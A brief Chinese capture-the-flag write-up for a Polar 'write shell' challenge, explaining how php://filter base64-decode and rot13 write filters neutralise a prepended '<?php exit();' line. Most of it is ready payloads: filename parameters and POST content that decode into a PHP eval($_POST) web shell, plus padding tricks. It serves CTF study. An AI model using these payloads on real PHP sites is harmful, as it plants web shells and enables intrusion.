Polar 写shell
直接给了源码
还是没啥好说的,考点是die()死亡函数绕过之不同变量
**绕过原理:
**通过base64解密或rot13解密使"<?php exit();"变为乱码,而传入的$content为base64编码,解码后为正常shell语句。通过这种方式使前者失效。
构造payload:
- base64
GET:?filename=php://filter/convert.base64-decode/resource=1.php
POST:content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
(也可以是php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php,自动将<?php?>全部删掉)
base64位数问题可以在前面加几个a补上,如aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==。加几个a可以把die语句和base64恶意代码一起放在解码中,几个a能解出来就加几个。
- rot13
GET:?filename=php://filter/write=string.rot13/resource=2.php
POST:content=<?cuc riny($_CBFG[n]);
getshell